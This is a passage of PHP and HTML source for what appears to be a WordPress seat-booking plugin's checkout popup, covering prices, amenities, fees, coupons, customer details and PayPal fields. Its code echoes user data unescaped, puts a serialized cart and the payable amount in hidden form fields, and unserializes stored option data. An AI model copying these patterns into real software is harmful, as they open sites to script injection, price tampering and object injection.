Cart\";\n\t$event_seat_booked=\"Booked\";\n\t$event_seat_handicap=\"Wheelchair Access\";\n\t$event_itemsincart=\"Items in Cart\";\n $event_item_cost=\"Cost\";\n\t$event_item_total=\"Total\";\n\t$event_item_grand=\"Grand\";\n\t$event_item_checkout=\"Checkout\";\n\t$event_item_clearcart=\"Clear Cart\";\n\t$event_bookingdetails=\"Booking Details \";\n\t$event_customer_name=\"First Name & Last Name\";\n\t$event_customer_email=\"Email\";\n\t$event_customer_phone=\"Phone\";\n\t$event_terms=\"I Agree Terms & Conditions\";\n\t$cart_is_empty=\"CART IS EMPTY\";\n\t$event_seat=\"Seat\";\n\t$event_seat_row=\"Row\";\n\t$event_item_cost=\"Cost\";\n\t$button_continue=\"Continue\";\n\t$languages_added=\"Added\";\n\t$event_stall=\"STALL\";\n\t$event_balcony=\"BALCONY\";\n\t$event_circle=\"CIRCLE\";\t\n\t$event_seat_stage=\"STAGE\";\t\n\t$coupon_vip_member=\"I am a VIP Member\";\n\tif($wplanguagesoptions['rst_enable_languages']==\"on\")\n\t{\n\t\tif($wplanguagesoptions['languages_event_seat_row'])\n\t\t{\n\t\t\t$event_seat_row=$wplanguagesoptions['languages_event_seat_row'];\n\t\t}\n\t\tif($wplanguagesoptions['languages_event_seat_available'])\n\t\t{\n\t\t\t$event_seat_available=$wplanguagesoptions['languages_event_seat_available'];\n\t\t}\n\t\tif($wplanguagesoptions['languages_event_seat_inyourcart'])\n\t\t{\n\t\t\t$event_seat_inyourcart=$wplanguagesoptions['languages_event_seat_inyourcart'];\n\t\t}\t\n\t\tif($wplanguagesoptions['languages_event_seat_inotherscart'])\n\t\t{\n\t\t\t$event_seat_inotherscart=$wplanguagesoptions['languages_event_seat_inotherscart'];\n\t\t}\t\n\t\tif($wplanguagesoptions['languages_event_seat_booked'])\n\t\t{\n\t\t\t$event_seat_booked=$wplanguagesoptions['languages_event_seat_booked'];\n\t\t}\t\n\t\tif($wplanguagesoptions['languages_event_seat_handicap'])\n\t\t{\n\t\t\t$event_seat_handicap=$wplanguagesoptions['languages_event_seat_handicap'];\n\t\t}\t\n\t\tif($wplanguagesoptions['languages_event_itemsincart'])\n\t\t{\n\t\t\t$event_itemsincart=$wplanguagesoptions['languages_event_itemsincart'];\n\t\t}\t\t\t\n\t\tif($wplanguagesoptions['languages_event_item_cost'])\n\t\t{\n\t\t\t$event_item_cost=$wplanguagesoptions['languages_event_item_cost'];\n\t\t}\t\n\t\tif($wplanguagesoptions['languages_event_item_total'])\n\t\t{\n\t\t\t$event_item_total=$wplanguagesoptions['languages_event_item_total'];\n\t\t}\n\t\tif($wplanguagesoptions['languages_event_item_grand'])\n\t\t{\n\t\t\t$event_item_grand=$wplanguagesoptions['languages_event_item_grand'];\n\t\t}\t\t\n\t\tif($wplanguagesoptions['languages_event_item_checkout'])\n\t\t{\n\t\t\t$event_item_checkout=$wplanguagesoptions['languages_event_item_checkout'];\n\t\t}\n\t\tif($wplanguagesoptions['languages_event_item_clearcart'])\n\t\t{\n\t\t\t$event_item_clearcart=$wplanguagesoptions['languages_event_item_clearcart'];\n\t\t}\n\t\tif($wplanguagesoptions['languages_event_bookingdetails'])\n\t\t{\n\t\t\t$event_bookingdetails=$wplanguagesoptions['languages_event_bookingdetails'];\n\t\t}\t\t\t\n if($wplanguagesoptions['languages_event_customer_name'])\n\t\t{\n\t\t\t$event_customer_name=$wplanguagesoptions['languages_event_customer_name'];\n\t\t}\t\t\t\n if($wplanguagesoptions['languages_event_customer_email'])\n\t\t{\n\t\t\t$event_customer_email=$wplanguagesoptions['languages_event_customer_email'];\n\t\t}\t\t\t\n if($wplanguagesoptions['languages_event_customer_phone'])\n\t\t{\n\t\t\t$event_customer_phone=$wplanguagesoptions['languages_event_customer_phone'];\n\t\t}\t\t\t\n if($wplanguagesoptions['languages_event_customer_terms'])\n\t\t{\n\t\t\t$event_terms=$wplanguagesoptions['languages_event_customer_terms'];\n\t\t}\t\t\t\n if($wplanguagesoptions['languages_cart_is_empty'])\n\t\t{\n\t\t\t$cart_is_empty=$wplanguagesoptions['languages_cart_is_empty'];\n\t\t}\t\n if($wplanguagesoptions['languages_event_seat'])\n\t\t{\n\t\t\t$event_seat=$wplanguagesoptions['languages_event_seat'];\n\t\t}\t\t\t\n if($wplanguagesoptions['languages_event_item_cost'])\n\t\t{\n\t\t\t$event_item_cost=$wplanguagesoptions['languages_event_item_cost'];\n\t\t}\t\n if($wplanguagesoptions['languages_button_continue'])\n\t\t{\n\t\t\t$button_continue=$wplanguagesoptions['languages_button_continue'];\n\t\t}\t\n if($wplanguagesoptions['languages_added'])\n\t\t{\n\t\t\t$languages_added=$wplanguagesoptions['languages_added'];\n\t\t}\t\n\t\tif($wplanguagesoptions['languages_event_stall'])\n\t\t{\n\t\t\t$event_stall=$wplanguagesoptions['languages_event_stall'];\n\t\t}\t\t\t\n\t\tif($wplanguagesoptions['languages_event_balcony'])\n\t\t{\n\t\t\t$event_balcony=$wplanguagesoptions['languages_event_balcony'];\n\t\t}\n\t\tif($wplanguagesoptions['languages_event_circle'])\n\t\t{\n\t\t\t$event_circle=$wplanguagesoptions['languages_event_circle'];\n\t\t}\t\t\n\t\tif($wplanguagesoptions['languages_event_seat_stage'])\n\t\t{\n\t\t\t$event_seat_stage=$wplanguagesoptions['languages_event_seat_stage'];\n\t\t}\t\n\t\tif($wplanguagesoptions['languages_coupon_vip_member'])\n\t\t{\n\t\t\t$coupon_vip_member=$wplanguagesoptions['languages_coupon_vip_member'];\n\t\t}\t\t\t\n}\t\n$event_seat=apply_filters('row_seats_table_titlechange',$event_seat,$showid);\n ?>\n <!-- OUR PopupBox DIV-->\n <?php\n $rst_options = get_option(RSTPLN_OPTIONS);\n $rst_paypal_options = get_option(RSTPLN_PPOPTIONS);\n $rst_tandc = $rst_options['rst_tandc'];\n $rst_email = $rst_options['rst_email'];\n $rst_etem = $rst_options['rst_etem'];\n $paypal_id = $rst_paypal_options['paypal_id'];\n $paypal_url = $rst_paypal_options['paypal_url'];\n $return_page = $rst_paypal_options['custom_return'];\n $symbol = $rst_paypal_options['currencysymbol'];\n\t$symbol = get_option('rst_currencysymbol');\n\t//print $symbol.\"------------\".$rst_options['rst_currency'];\n $symbols = array(\n \"0\" => \"$\",\n \"1\" => \"&pound;\",\n \"2\" => \"&euro;\",\n \"3\" => \"&#3647;\",\n \"4\" => \"&#8362;\",\n \"5\" => \"&yen;\",\n \"6\" => \"&#8377;\",\n \"7\" => \"R$\",\n \"8\" => \"kr\",\n \"9\" => \"zl\",\n \"10\" => \"Ft\",\n \"11\" => \"Kc\",\n \"12\" => \"&#1088;&#1091&#1073;\",\n \"13\" => \"&#164;\",\n \"14\" => \"&#x20B1;\",\n \"15\" => \"Fr\",\n \"16\" => \"RM\");\n $symbol = $symbols[$symbol];\n $notifyURL = RST_PAYPAL_PAYMENT_URL . \"ipn.php\";\n if ($return_page == \"\") {\n $returnURL = get_option('siteurl') . \"/?paypal_return='true'\";\n } else {\n $returnURL = $return_page;\n }\n // Process\n // Send back the contact form HTML\n // require_once('inc.checkout.form.php');\n ?>\n <script type=\"text/javascript\" language=\"javascript\">\n jQuery(document).ready(function () {\n jQuery(\".QTPopup\").css('display', 'none')\n jQuery(\".contact\").click(function () {\n<?php\napply_filters('row_seats_seat_restriction_js_filter','');\n?>\n document.getElementById('startedcheckout').value = \"yes\";\n jQuery(\".QTPopup\").animate({width: 'show'}, 'slow');\n jQuery('#contact_name').focus(); //when popup call move to first field)\n })\n jQuery(\".closeBtn\").click(function () {\n document.getElementById('startedcheckout').value = \"\";\n jQuery(\".QTPopup\").css('display', 'none');\n })\n })\n </script>\n <?php\n $currenturl = $_REQUEST['redirecturl'];\n $rst_options = get_option(RSTPLN_OPTIONS);\n $rst_paypal_options = get_option(RSTPLN_PPOPTIONS);\n $rst_tandc = $rst_options['rst_tandc'];\n $rst_email = $rst_options['rst_email'];\n $rst_etem = $rst_options['rst_etem'];\n $paypal_id = $rst_paypal_options['paypal_id'];\n $paypal_url = $rst_paypal_options['paypal_url'];\n $return_page = $rst_paypal_options['custom_return'];\n if ($return_page != '') {\n $currenturl = $return_page;\n }\n $currency = $rst_paypal_options['currency'];\n $symbol = $rst_paypal_options['currencysymbol'];\n\t$symbol = get_option('rst_currencysymbol');\n $symbols = array(\n \"0\" => \"$\",\n \"1\" => \"&pound;\",\n \"2\" => \"&euro;\",\n \"3\" => \"&#3647;\",\n \"4\" => \"&#8362;\",\n \"5\" => \"&yen;\",\n \"6\" => \"&#8377;\",\n \"7\" => \"R$\",\n \"8\" => \"kr\",\n \"9\" => \"zl\",\n \"10\" => \"Ft\",\n \"11\" => \"Kc\",\n \"12\" => \"&#1088;&#1091&#1073;\",\n \"13\" => \"&#164;\",\n \"14\" => \"&#x20B1;\",\n \"15\" => \"Fr\",\n \"16\" => \"RM\");\n $symbol = $symbols[$symbol];\n $sesid = session_id();\n $notifyURL = RST_PAYPAL_PAYMENT_URL . \"ipn.php\";\n if ($return_page == \"\") {\n $returnURL = get_option('siteurl') . \"/?paypal_return='true'\";\n } else {\n $returnURL = $return_page;\n }\n ?>\n <div class=\"QTPopup\">\n <div class=\"popupGrayBg\"></div>\n <div id='elem' class=\"QTPopupCntnr\" style=\"width: 750px; <?php echo apply_filters('row_seats_generel_admission_popupfix',$showid);?>\">\n <div class=\"gpBdrLeftTop\"></div>\n <div class=\"gpBdrRightTop\"></div>\n <div class=\"gpBdrTop\"></div>\n <div class=\"gpBdrLeft\">\n <div class=\"gpBdrRight\">\n <div class=\"caption\">\n <?php echo $event_bookingdetails;?>\n </div>\n <a href=\"#\" class=\"closeBtn\" title=\"Close\"></a>\n <div class=\"checkoutcontent\">\n <form method='POST' action='' target=\"rsiframe\" onsubmit=\"row_seats_presubmit('<?php print $showid['id'];?>');\" enctype='multipart/form' name=\"checkoutform\">\n <div class=\"row_seats_signup_form\" id=\"rssignup_form\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\">\n <tr>\n <td class=\"tableft\" width=\"50%\">\n <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"1\" bordercolor=\"red\">\n<?php\n\t\t$totalitems= count($bookings);\n\t\t\n$showcode=\"row_seats_amenities_\".$_SESSION['views']; \n//Amenities updated javascript function for amenities\nif(($rst_options['rst_enable_special_pricing']==\"on\" and row_seats_special_pricing_verification()) || $rst_options[$showcode])\n{\t\n?>\n<script language=\"javascript\">\nfunction updateprice()\n{\n\tvar totalitems=document.getElementById('totalrecords').value;\n\tvar total=0;\n\tvar gtotal=0;\n\tvar htmlstring;\n<?php\n$totalitems= count($bookings);\n$showcode=\"row_seats_amenities_\".$_SESSION['views'];\nif(($rst_options['rst_enable_special_pricing']==\"on\" and row_seats_special_pricing_verification()))\n{\n\n\n\t\t\n?>\n\n\t\n\tvar totalitems=document.getElementById('totalrecords').value;\n\tfor (var i=0; i<totalitems; i++)\n\t{\n\tvar dropboxvalue=document.getElementById('special_pricing'+i).value;\n\tvar dropboxvalues = dropboxvalue.split('#');\n\t\tdocument.getElementById(\"price\"+i).innerHTML=\"\"+dropboxvalues[1];\n\t\ttotal=parseFloat(total)+parseFloat(dropboxvalues[1]);\n\t}\n\n<?php\t\n}else{\n//Amenities code- find subtotal if special price is not installed -START\t\t\n?>\t\n\n\n\tvar totalitems=document.getElementById('totalrecords').value;\n\tfor (var i=0; i<totalitems; i++)\n\t{\n\tvar dropboxvalue=document.getElementById('actualprice'+i).value;\n\ttotal=parseFloat(total)+parseFloat(dropboxvalue);\n\t}\n\t\n<?php\t\n//Amenities code- find subtotal if special price is not installed -START\n\n}\n\t\t\n?>\t\n\tdocument.getElementById(\"total\").innerHTML=formatCurrency(total);\n\tdocument.getElementById('amount').value=total;\n\tgtotal=total;\n\t\n<?php\n\n//Amenities code- include amenities in total amount -START\n$showcode=\"row_seats_amenities_\".$_SESSION['views'];\nif($rst_options[$showcode])\n{\n\t\t\n?>\t\n\t\n\tvar totalamenities=document.getElementById('totalamenities').value;\n\tfor (var i=0; i<totalamenities; i++)\n\t{\n\tvar aminityprice=document.getElementById('aminityprice'+i).value;\n\tvar aminityqty=document.getElementById('aminityqty'+i).value;\n\tvar aminitytotal=aminityprice*aminityqty;\n\tdocument.getElementById(\"aminitytotal\"+i).innerHTML=\"<?PHP echo $symbol;?>\"+aminitytotal.toFixed(2) ;\n\ttotal=parseFloat(total)+parseFloat(aminitytotal);\n\tgtotal=total;\n\t}\t\n\n<?php\n\n}\n\n//Amenities code- include amenities in total amount -START\n\t\t\n?>\t\t\n\t\n\tif(document.getElementById('rst_fees').value!='')\n\t{\n\t\tgtotal=parseFloat(gtotal) + parseFloat(document.getElementById('rst_fees').value);\n\t\tdocument.getElementById('aftercoupongrand').style.visibility=\"visible\";\n\t}\n\tif(document.getElementById('coupondiscount').value!='')\n\t{\n\t\tgtotal=parseFloat(gtotal) - parseFloat(document.getElementById('coupondiscount').value);\n\t\tdocument.getElementById('discountamount').innerHTML=document.getElementById('coupondiscount').value;\n\t\tdocument.getElementById('aftercoupondis').style.visibility=\"visible\";\n\t\tdocument.getElementById('aftercoupongrand').style.visibility=\"visible\";\n\t}\n\tdocument.getElementById('Grandtotal').innerHTML=formatCurrency(gtotal);\n\tdocument.getElementById('amount').value=gtotal;\n}\n</script>\n <?php\n}\t\t\t\n $rst_bookings = $bookings;\n\t //print_r($bookings);\n $mycartitems = serialize($bookings);\n $description = $rst_bookings;\n $total = 0;\n $totalseats = 0;\n\t\t\t\tif($rst_options['rst_enable_special_pricing']==\"on\" and row_seats_special_pricing_verification())\n\t\t\t\t{\t\t\t\t\n\t\t$rst_options['rst_special_pricing_count']=row_seats_special_number_of_special_price($_SESSION['views']);\n\t\t$totalspecialpricing=$rst_options['rst_special_pricing_count']+1;\n\t if(!$rst_options['rst_special_pricing_count'])\n\t $totalspecialpricing=1;\n\t\t}\n for ($i = 0; $i < count($rst_bookings); $i++) \n{\n $rst_booking = $rst_bookings[$i];\n\t\t\t\t//creating special price dropdown\n\t\t\t\tif($rst_options['rst_enable_special_pricing']==\"on\" and row_seats_special_pricing_verification())\n\t\t\t\t{\t\t\t\n\t\t\t\t\tfor($j=1;$j<$totalspecialpricing;$j++){\n\t\t\t\t\t\t$special_pricing_array=array();\n\t\t\t\t\t\t$special_pricing_array=row_seats_special_special_price_array($_SESSION['views'],$rst_booking['price']);\n\t\t\t\t\t}\t\n\t\t\t\t}\t\n$seattitle=$rst_booking['row_name'] . $rst_booking['seatno'];\n$seattitle = apply_filters('row_seats_generel_admission_hideticketnumber', $seattitle,$i+1,$_SESSION['views']);\n\t\t?>\n <tr>\n <td width=50%\"><?php echo $event_seat;?>:<?php echo $seattitle;?>-<?php echo $event_item_cost;?>:</td>\n <td><table><tr><td><span style=\"color: maroon;font-size: small;\"><?php echo $symbol;?></span><span style=\"color: maroon;font-size: small;\" id=\"price<?php echo $i;?>\"><?php echo $rst_booking['price'];?></span></td>\n\t\t\t\t\t<td>\n\t\t\t\t\t<?php\n\t\t\t\t\t//creating special price dropdown\n\t\t\t\t\tif($rst_options['rst_enable_special_pricing']==\"on\" and row_seats_special_pricing_verification())\n\t\t\t\t\t{\t\n\t\t\t\t\t?>\t\t\t\t\t\n\t\t\t\t\t<select name=\"special_pricing<?php echo $i;?>\" id=\"special_pricing<?php echo $i;?>\" onchange=\"updateprice();\">\t\t\n\t\t\t\t\t<option value=\"normal#<?php echo $rst_booking['price'];?>\">Normal</option>\n\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\tforeach($special_pricing_array as $key=>$value){\n\t\t\t\t\tprint \"<option value='\".$key.\"#\".$value.\"'>\".$key.\" \".$symbol.$value.\"</option>\";\n\t\t\t\t\t}\n\t\t\t\t\t?>\t\t\n\t\t\t\t\t</select>\n\t\t\t\t\t<?php\n\t\t\t\t\t}\n\t\t\t\t\t?>\t\t\t\t\t\t\n\t\t\t\t\t</td></tr></table></td>\n </tr>\n <?php $total = $total + $rst_booking['price'];\n $total = number_format($total, 2, '.', '');\n }\n ?>\n <tr class=\"carttotclass\" style=\"border-top:1px solid #e7e7e7 !important;\">\n <td width=\"50%\"><span style=\"color: maroon;font-size: larger;\"><?php echo $event_item_total;?>:</span></td>\n <td width=\"50%\" ><span style=\"color: maroon;font-size: larger;\"><?php echo $symbol;?></span><span\n style=\"color: maroon;font-size: larger;\" id=\"total\"><?php echo $total;?></span>\n </td>\n </tr>\n <?php\n $wpfeeoptions = get_option(RSTFEE_OPTIONS);\n $sercharge = 0;\n // print_r($wpfeeoptions);\n if ($wpfeeoptions['rst_enable_fee'] == 'on' && /*fees-----*/\n apply_filters('rst_fee_plugin_filter', '') /*-----fees*/\n ) {\n if ($wpfeeoptions['rst_fee_type'] == 'flate') {\n $gtotal = $wpfeeoptions['fee_amt'] + $total;\n $gtotal = number_format($gtotal, 2, '.', '');\n $sercharge = number_format($wpfeeoptions['fee_amt'], 2, '.', '');\n } else {\n $sercharge = number_format((($wpfeeoptions['fee_amt'] * $total) / 100), 2, '.', '');\n $gtotal = number_format(($sercharge + $total), 2, '.', '');\n }\n } else {\n $gtotal = $total;\n }\n ?>\n <?php if ($wpfeeoptions['rst_enable_fee'] == 'on') { ?>\n <?php\n /* fees ----- */\n apply_filters('rst_fee_fields_filter', '', $wpfeeoptions, $symbol, $sercharge, $gtotal);\n\t\t\t\t$fee_name=$wpfeeoptions['fee_name'];\n /* ----- fees */\n ?>\n <tr >\n <td width=\"50%\"><span style=\"color: green;font-size: larger;\"><?php echo $fee_name;?>:</span></td>\n <td width=\"50%\"><span style=\"color: green;font-size: larger;\"><?php echo $symbol;?></span><span\n style=\"color: green;font-size: larger;\" id=\"fee_name\"><?php echo esc_attr($sercharge); ?></span></td>\n </tr>\t\t\t\t\n <?php } ?>\n <tr id=\"aftercoupondis\" style=\"display: none;\">\n <td width=\"50%\"><span style=\"color: green;font-size: larger;\">Discount:</span></td>\n <td width=\"50%\"><span style=\"color: green;font-size: larger;\"><?php echo $symbol;?></span><span\n style=\"color: green;font-size: larger;\" id=\"discountamount\"></span></td>\n </tr>\n\t\t\t\n<?php\n\n//Amenities - Display amenities on checkout form -START\n\n$showcode=\"row_seats_amenities_\".$_SESSION['views'];\nif(isset($rst_options[$showcode]))\n{\n$vairablenamevalue=unserialize(base64_decode($rst_options[$showcode]));\n//print_r($vairablenamevalue);\n\n\t\t\t\t$amenitiesstring=\"\";\n\t\t\t\t$totalamenities=0;\n\t\t\t\tif(is_array($vairablenamevalue))\n\t\t\t\t{\n\t\t\t\t\t$amenitiesstring.=\"\";\n\t\t\t\tfor($i=0;$i<count($vairablenamevalue);$i++)\n {\n\t\t\t\tif($vairablenamevalue[$i]['aminitylabel'] && $vairablenamevalue[$i]['aminityprice'])\t\n\t\t\t\t{\n\t\t\t\t\t$totalamenities++;\n\t\t\t\t\t$labelname = trim($vairablenamevalue[$i]['aminitylabel']);\n\t\t\t\t\t$labelname = preg_replace('/\\s+/', '_', $labelname);\n\t\t\t\t\t \n\t\t\t\t //$amenitiesstring.=\t'<tr><td style=\"\" bgcolor=red><span style=\"color: green;font-size: larger;vertical-align: top !important;\">'.$vairablenamevalue[$i]['aminitylabel'].'-'.$symbol.number_format($vairablenamevalue[$i]['aminityprice'], 2, '.', '').'</span><input class=\"contact-input\" type=\"hidden\" id=\"aminitylabel'.$i.'\" name=\"aminitylabel'.$i.'\" value=\"'.$vairablenamevalue[$i]['aminitylabel'].'\" /><input class=\"contact-input\" type=\"hidden\" id=\"aminityprice'.$i.'\" name=\"aminityprice'.$i.'\" value=\"'.$vairablenamevalue[$i]['aminityprice'].'\" /></td><td bgcolor=blue><table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" style=\" border: none ! important; border-collapse: collapse ! important; padding: 0 ! important; margin: 0 ! important;\" ><tr ><td bgcolor=black><span style=\"color: green;font-size: larger;\"><div id=\"aminitytotal'.$i.'\">'.$symbol.'0</div></span></td><td valign=\"top\" width=\"50%\"> <span style=\"color: green;font-size: larger;\"><input style=\"border: 1px dotted #000000; outline:0; height:25px; width: 70px; font-size:8;\" placeholder=\"Qty\" type=\"text\" id=\"aminityqty'.$i.'\" name=\"aminityqty'.$i.'\" value=\"\" onchange=\"updateprice();\"/></span></td></tr></table></td></tr>';\n\techo '<input class=\"contact-input\" type=\"hidden\" id=\"aminitylabel'.$i.'\" name=\"aminitylabel'.$i.'\" value=\"'.$vairablenamevalue[$i]['aminitylabel'].'\" /><input class=\"contact-input\" type=\"hidden\" id=\"aminityprice'.$i.'\" name=\"aminityprice'.$i.'\" value=\"'.$vairablenamevalue[$i]['aminityprice'].'\" />';\t\t\n?>\n\n <tr id=\"aftercoupondis\" style=\"\">\n\n <td >\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span style=\"color: green;font-size: larger;height:100%; vertical-align:middle;\"><?php echo $vairablenamevalue[$i]['aminitylabel'].'-'.$symbol.number_format($vairablenamevalue[$i]['aminityprice'], 2, '.', ''); ?></span>\n\t\t\t\t\n\t\t\t\t</td>\n\n <td >\n\t\t <div style=\"width: 100%\">\n <div style=\"width: 50%; float: left; display: inline-block;height:100%; vertical-align:middle;\">\n <?php echo '<span style=\"color: green;font-size: larger;\"><div id=\"aminitytotal'.$i.'\">'.$symbol.'0</div></span>';?>\n </div>\n <div style=\"width: 50%; display: inline-block;height:100%; vertical-align:middle;\">\n <?php echo '<input style=\"border: 1px dotted #000000; outline:0; height:25px; width: 70px; font-size:8;\" placeholder=\"Qty\" type=\"text\" id=\"aminityqty'.$i.'\" name=\"aminityqty'.$i.'\" value=\"\" onchange=\"updateprice();\"/></span>';?>\n </div>\n </div>\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t</td>\n\n </tr>\n\n\n<?php\n\n\t\t\t\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t//$amenitiesstring.=\"\";\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t//echo $amenitiesstring;\n\n?>\n\t\t\t\n\t\t\t\n\n\t\t\t\t<input type=\"hidden\" id=\"totalamenities\" name=\"totalamenities\" value=\"<?php echo $totalamenities;?>\">\n\n<?php \n\n}\t\n//Amenities - Display amenities on checkout form -START\n\n ?>\t\t\n\n\n \n <tr id=\"aftercoupongrand\" style=\"border-top:1px solid #e7e7e7 !important;\"\n class=\"carttotclass\">\n <td width=\"50%\"><span style=\"color: maroon;font-size: larger;\"><strong><?php echo $event_item_grand;?> :</strong></span></td>\n <td width=\"50%\"><span style=\"color: maroon;font-size: larger;\"><?php echo $symbol;?></span><span\n style=\"color: maroon;font-size: larger;\" id=\"Grandtotal\"><?php echo $gtotal;?></span></td>\n </tr>\n </table>\n </td>\n <td class=\"tabright\" width=\"60%\" style=\"border-left:1px solid #e7e7e7 !important; \">\n <table>\n <?php \n\t\t\t$row='Before Name';\n\t\t\t$contact_field = apply_filters('row_seats_custom_fieldname',$row);\n\t\t\t?>\t\n <tr>\n <td colspan='2'><label for='contact-name'><span class='reqa'>*</span> <?php echo $event_customer_name;?>:</label>\n <input type='text' id='contact_name' class='contact-input' name='contact_name'\n value='<?php echo $user_name;?>'/></td>\n </tr>\n <?php \n\t\t\t$row='After Name';\n\t\t\t$contact_field = apply_filters('row_seats_custom_fieldname',$row);\n\t\t\t$row='Before Email';\n\t\t\t$contact_field = apply_filters('row_seats_custom_fieldname',$row);\n\t\t\t?>\t\n <tr>\n <td colspan='2'><label for='contact-email'><span class='reqa'>*</span> <?php echo $event_customer_email;?>:</label>\n <input type='text' id='contact_email' class='contact-input' name='contact_email'\n value='<?php echo $user_email;?>'/></td>\n </tr>\n <?php \n\t\t\t$row='After Email';\n\t\t\t$contact_field = apply_filters('row_seats_custom_fieldname',$row);\n\t\t\t$row='Before Phone';\n\t\t\t$contact_field = apply_filters('row_seats_custom_fieldname',$row);\n\t\t\t?>\t\n <tr>\n <td colspan='2'><label for='contact-email'><span class='reqa'>*</span> <?php echo $event_customer_phone;?>:</label>\n <input type='text' id='contact_phone' class='contact-input' name='contact_phone'\n value='<?php echo $user_phone;?>'/></td>\n </tr>\n <?php \n\t\t\t$row='After Phone';\n\t\t\t$contact_field = apply_filters('row_seats_custom_fieldname',$row);\n\t\t\t?>\t\n <tr>\n <td colspan='2'>\n <div><input type='checkbox' id='rstterms' class='contact-input' name='rstterms'/>\n <label class='termsclass'><span class='reqa'>*</span> <?php echo $event_terms;?>:</label><br/><label\n style=\"float: left !important;width:100% !important\"><?php echo stripslashes($rst_tandc); ?></label>\n </div>\n </td>\n </tr>\n <!-- members and coupons ----- -->\n <?php $members = apply_filters('rst_apply_member_filter', ''); ?>\n <?php $coupons = apply_filters('rst_apply_coupon_filter', ''); ?>\n <?php\n if ($members && $coupons) {\n echo \"\n <tr>\n <td colspan='2'><input type='checkbox' id='rstmem' class='contact-input' name='rstmem' onclick=\\\"checkformember(this);\\\"/>\n <label class='termsclass'> \".$coupon_vip_member.\":</label></td>\n </tr>\n \";\n echo $coupons;\n } elseif ($members) {\n echo $members;\n } elseif ($coupons) {\n echo $coupons;\n }\n ?>\n <!-- ----- members and coupons -->\n <tr>\n <td colspan='2'>\n <!-- memberapplybtn and couponapplybtn ----- -->\n <?php $membersBtn = apply_filters('rst_apply_member_btn_filter', ''); ?>\n <?php $couponsBtn = apply_filters('rst_apply_coupon_btn_filter', ''); ?>\n <?php\n if ($members && $coupons) {\n echo $couponsBtn;\n } elseif ($members) {\n echo $membersBtn;\n } elseif ($coupons) {\n echo $couponsBtn;\n }\n ?>\n <!-- ----- memberapplybtn and couponapplybtn -->\n <span id=\"couponprogress\" style=\"color: #51020B;padding-left:10px;\"></span><br/>\n </td>\n </tr>\n <tr>\n <td colspan='2'>&nbsp; </td>\n </tr>\n\t <tr>\n <td colspan='2'>\n<?php\n$active_payment_methods = apply_filters('row_seats_active_payment_methods', array());\n//print_r($active_payment_methods);\n$available_payment_methods = apply_filters('row_seats_available_payment_methods', array());\n//print_r($available_payment_methods);\n$activecurrency = get_option('rst_currency');\n//print $activecurrency;\n$payment_methods = apply_filters('row_seats_currency_payment_methods', $active_payment_methods, $activecurrency);\n//print_r($payment_methods);\n if(current_user_can('contributor') || current_user_can('administrator'))\t\n{\n//print \"Inside-------------\";\n\t\t\t$form .= '<input type=\"hidden\" value=\"offlinepayment_force\" name=\"payment_method\">';\n}\t\t\t\n\t\t\telseif (sizeof($payment_methods) > 0) {\n\t\t\t\t$form .= '\n\t\t\t\t<div class=\"rst_form_row\">';\n\t\t\t\t$checked = ' checked=\"checked\"';\n\t\t\t\tforeach ($payment_methods as $key => $method) {\n\t\t\t\t\t$form .= '\n\t\t\t\t\t<div style=\"background: transparent url('.$method['logo'].') 25px '.$method['logo_vertical_shift'].'px no-repeat; height: 45px; width: '.($method['logo_width']+25).'px; float: left; margin-right: 30px;\">\n\t\t\t\t\t\t<input type=\"radio\" value=\"'.$key.'\" name=\"payment_method\" style=\"margin: 4px 0px;\"'.$checked.'>\n\t\t\t\t\t</div>';\n\t\t\t\t\t$checked = '';\n\t\t\t\t}\n\t\t\t\t$form .= '\n\t\t\t\t</div>';\n\t\t\t} else {\n\t\t\t$form .= '<input type=\"hidden\" value=\"offlinepayment_force\" name=\"payment_method\">';\n\t\t\t}\n\t\t\tprint $form;\n?>\t\t\n\t\t</td>\n </tr> \n <!--added class-->\n <tr>\n <td colspan='2'><input type=\"submit\" id=\"rssubmit\" class=\"row_seats_submit\" value=\"<?php echo $button_continue;?>\" > <img id=\"rsloading\" class=\"row_seats_loading\" src=\"<?php echo plugins_url('/images/loading.gif', __FILE__);?>\" alt=\"\">\n\t<!--<a href=\"javascript:void(0);\" onclick=\"savecheckoutdata('placeorder')\"\n class='srbutton srbutton-css'>Place Order</a><img id=\"rsloading\" class=\"row_seats_loading\" src=\"'.plugins_url('/images/loading.gif', __FILE__).'\" alt=\"\">-->\t\t\t \n\t\t\t\t </td>\n </tr>\n <input type=\"hidden\" name=\"cmd\" value=\"_xclick\"/>\n <input type=\"hidden\" name=\"notify_url\" value=\"<?php echo $notifyURL; ?>\"/>\n\t\t\t<input type=\"hidden\" name=\"action\" value=\"wp_row_seats-signup\" />\n <input type=\"hidden\" name=\"return\" id=\"return\" value=\"<?php echo $return_page ?>\"/>\n <input type=\"hidden\" name=\"business\" value=\"<?php echo $paypal_id; ?>\"/>\n <input type=\"hidden\" name=\"amount\" id=\"amount\" value=\"<?php echo esc_attr($gtotal); ?>\"/>\n <input type=\"hidden\" id=\"item_name\" name=\"item_name\" value=\"Seats Booking\"/>\n\t <input type=\"hidden\" id=\"bookingid\" name=\"bookingid\" value=\"\"/>\n <input type=\"hidden\" name=\"custom\" id=\"custom\" value=\"\"/>\n <input type=\"hidden\" name=\"no_shipping\" value=\"0\"/>\n <input type=\"hidden\" name=\"currency_code\" value=\"<?php echo $currency ?>\"/>\n\t <input type=\"hidden\" name=\"mycartitems\" id=\"mycartitems\" value=\"<?php echo $mycartitems; ?>\"/>\n </table>\n\t <div id=\"rsmessage5\" class=\"row_seats_message\"></div>\n<iframe id=\"rsiframe\" name=\"rsiframe\" class=\"row_seats_iframe\" onload=\"row_seats_load();\"></iframe>\n </td>\n </tr>\n </table>\n </div>\n <input type=\"hidden\" name=\"appliedcoupon\" id=\"appliedcoupon\" value=\"\"/>\n <input type=\"hidden\" name=\"totalbackup\" id=\"totalbackup\" value=\"<?php echo esc_attr($gtotal); ?>\"/>\n <input type=\"hidden\" name=\"statusofcouponapply\" id=\"statusofcouponapply\" value=\"\"/>\n <input type=\"hidden\" name=\"totalrecords\" id=\"totalrecords\" value=\"<?php echo count($bookings);?>\"/>\n <input 